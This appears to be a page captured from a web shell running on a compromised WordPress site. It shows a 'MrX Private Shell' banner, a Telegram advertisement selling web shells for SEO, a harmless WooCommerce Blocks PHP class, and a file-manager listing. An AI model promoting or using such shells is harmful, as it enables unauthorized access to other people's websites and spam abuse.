__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\Blocks\Registry;
/**
* A definition for the SharedType dependency type.
*
* @since 2.5.0
*/
class SharedType extends AbstractDependencyType {
/**
* Holds a cached instance of the value stored (or returned) internally.
*
* @var mixed
*/
private $shared_instance;
/**
* Returns the internal stored and shared value after initial generation.
*
* @param Container $container An instance of the dependency injection
* container.
*
* @return mixed
*/
public function get( Container $container ) {
if ( empty( $this->shared_instance ) ) {
$this->shared_instance = $this->resolve_value( $container );
}
return $this->shared_instance;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AbstractDependencyType.php | File | 1.24 KB | 0664 |
|
| Container.php | File | 3.02 KB | 0664 |
|
| FactoryType.php | File | 505 B | 0664 |
|
| SharedType.php | File | 740 B | 0664 |
|